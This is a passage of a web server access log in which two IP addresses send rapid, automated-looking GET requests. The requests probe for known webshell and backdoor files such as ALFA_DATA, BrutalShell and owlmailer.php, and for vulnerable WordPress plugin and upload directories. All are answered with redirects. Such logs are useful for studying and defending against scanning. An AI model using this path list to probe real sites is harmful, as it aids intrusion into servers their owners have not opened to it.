301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:43 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:43 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:44 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:44 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.131 - - [24/Apr/2025:20:38:44 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.131 - - [24/Apr/2025:20:38:44 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.131 - - [24/Apr/2025:20:38:44 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.131 - - [24/Apr/2025:20:38:45 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:46 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:38:46 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:46 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:46 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:17 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:17 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:19 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:19 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:20 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:21 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:21 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:47 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:47 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.131 - - [24/Apr/2025:20:38:47 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:47 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:48 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:48 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:49 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.131 - - [24/Apr/2025:20:38:49 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:49 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.131 - - [24/Apr/2025:20:38:49 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:50 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:50 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:51 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:51 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:51 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:51 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:52 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:53 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:53 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:53 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:38:54 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:54 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:55 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:55 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:56 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:56 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:56 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:56 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:57 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:57 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:57 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:58 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.131 - - [24/Apr/2025:20:38:58 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:58 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:38:58 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.131 - - [24/Apr/2025:20:38:59 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:59 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.131 - - [24/Apr/2025:20:39:00 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.131 - - [24/Apr/2025:20:39:00 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:00 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:00 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:01 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:01 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:01 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:01 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.131 - - [24/Apr/2025:20:39:02 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:02 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:02 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:03 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.131 - - [24/Apr/2025:20:39:03 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:03 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:04 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:04 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:04 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:05 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:05 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:05 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:05 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:39:05 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:06 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:06 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:06 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.131 - - [24/Apr/2025:20:39:06 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.131 - - [24/Apr/2025:20:39:07 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:39:07 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:07 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:07 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:08 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:08 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:09 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:10 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:10 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:10 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:11 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:11 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.131 - - [24/Apr/2025:20:39:11 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:11 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:12 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:12 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.131 - - [24/Apr/2025:20:39:12 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:12 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:13 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:13 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:14 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.131 - - [24/Apr/2025:20:39:14 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:15 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:15 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:15 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:15 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:39:16 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:16 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:16 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:16 